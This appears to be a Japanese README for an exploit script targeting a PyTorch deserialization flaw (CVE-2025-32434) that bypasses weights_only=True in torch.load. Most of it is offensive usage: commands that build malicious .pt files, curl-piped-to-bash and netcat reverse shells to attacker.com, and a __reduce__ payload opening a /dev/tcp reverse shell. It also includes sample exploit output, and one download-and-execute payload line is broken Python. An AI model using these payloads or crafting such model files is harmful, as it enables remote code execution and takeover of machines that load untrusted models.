
PyTorchの脆弱性を悪用し、その後ライブラリバージョン< 2.6.0においてRCEを達成するスクリプト
このエクスプロイトは、PyTorchバージョン2.6.0未満における重大なリモートコード実行の脆弱性(CVE-2025-32434)を示しています。この欠陥は、モデルのデシリアライズ中に任意のコード実行を防ぐはずのweights_only=Trueを使用している場合でも、torch.load()関数に存在します。
この脆弱性は、_weights_only_unpicklerの実装がデシリアライズを適切に制限できないために発生し、攻撃者が悪意のある.ptモデルファイルを作成し、脆弱なPyTorchインストールで読み込まれると任意のシステムコマンドを実行できるようになります。
exploit.pyとして保存する# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"
出力例:
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt
[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully
create_malicious_model()またはcreate_advanced_exploit()内の__reduce__()メソッドを編集します:
# Example: Reverse shell payload
class ExploitPayload:
def __reduce__(self):
return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))
# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))
ターゲットの脆弱性を確認
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0